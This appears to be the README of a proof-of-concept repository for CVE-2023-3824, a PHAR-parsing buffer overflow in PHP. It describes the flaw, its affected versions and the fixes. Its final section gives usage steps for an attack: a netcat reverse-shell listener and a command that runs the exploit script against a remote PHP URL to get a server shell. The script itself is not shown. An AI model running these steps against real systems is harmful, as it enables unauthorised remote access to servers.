CVE-2023-3824 PoC — Buffer overflow and overread in phar_dir_read()

Description

In PHP version 8.0.* before 8.0.30,  8.1.* before 8.1.22, and 8.2.* before 8.2.8, when loading phar file, while reading PHAR directory entries, insufficient length checking may lead to a stack buffer overflow, leading potentially to memory corruption or RCE. 

Readme

# About


CVE-2023-3824 is a critical **remote code execution (RCE)** vulnerability in PHP, affecting versions 8.0.x (before 8.0.30), 8.1.x (before 8.1.22), and 8.2.x (before 8.2.8). The vulnerability arises from **insufficient length checking** when processing PHAR files (PHP's archive format), specifically when reading PHAR directory entries in the `Phar::loadPhar()` function.

## Exploitation Overview

- **Stack Buffer Overflow**: The vulnerability stems from improper bounds checking, which can lead to a **stack buffer overflow**. If an attacker crafts a malicious PHAR file with overly long filenames or directory entries, they can trigger this overflow.
- **Memory Corruption**: This overflow can cause memory corruption, which in turn may allow an attacker to execute arbitrary code on the server hosting the vulnerable PHP version.
- **Remote Code Execution**: Successful exploitation could grant the attacker the ability to execute arbitrary code remotely, effectively compromising the entire system.

## Exploit Example

The attack typically involves submitting a maliciously crafted PHAR file to a vulnerable PHP application. If the application processes untrusted PHAR files (e.g., through file uploads), an attacker could exploit this to run arbitrary code on the server.

A proof-of-concept (PoC) for this vulnerability shows how a carefully crafted PHAR file can trigger the overflow. While exploiting this vulnerability requires specific conditions (such as an application using PHAR files), the potential for RCE makes it a severe issue, especially for PHP-based web applications.

## Mitigation

- **Update PHP**: The primary fix is to update PHP to versions 8.0.30, 8.1.22, or 8.2.8, which include patches to address the vulnerability.
- **Avoid Untrusted PHAR Files**: As a general security measure, ensure your application avoids processing untrusted PHAR files.

This vulnerability has a high severity rating (CVSS 9.4) due to the potential for full system compromise. Keeping PHP updated is crucial to mitigate this risk.

# POC

Run reverse shell listener:

```bash
nc -l local_port
```

Then run POC:

```bash
bash cve-2023-3824.sh remote_url local_ip local_port
```

* _remote_url_ is vulnerable remote php script, e.g. `https://wp.example.com/form-uploader.php`
* _local_ip_ is an attacker machine IP 
* _local_port_ is an attacker machine port

If the exploit succeeds, you'll get the shell with the server's (apache, nginx) permissions.

---

---

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---
inspired by ::PerfectForms::

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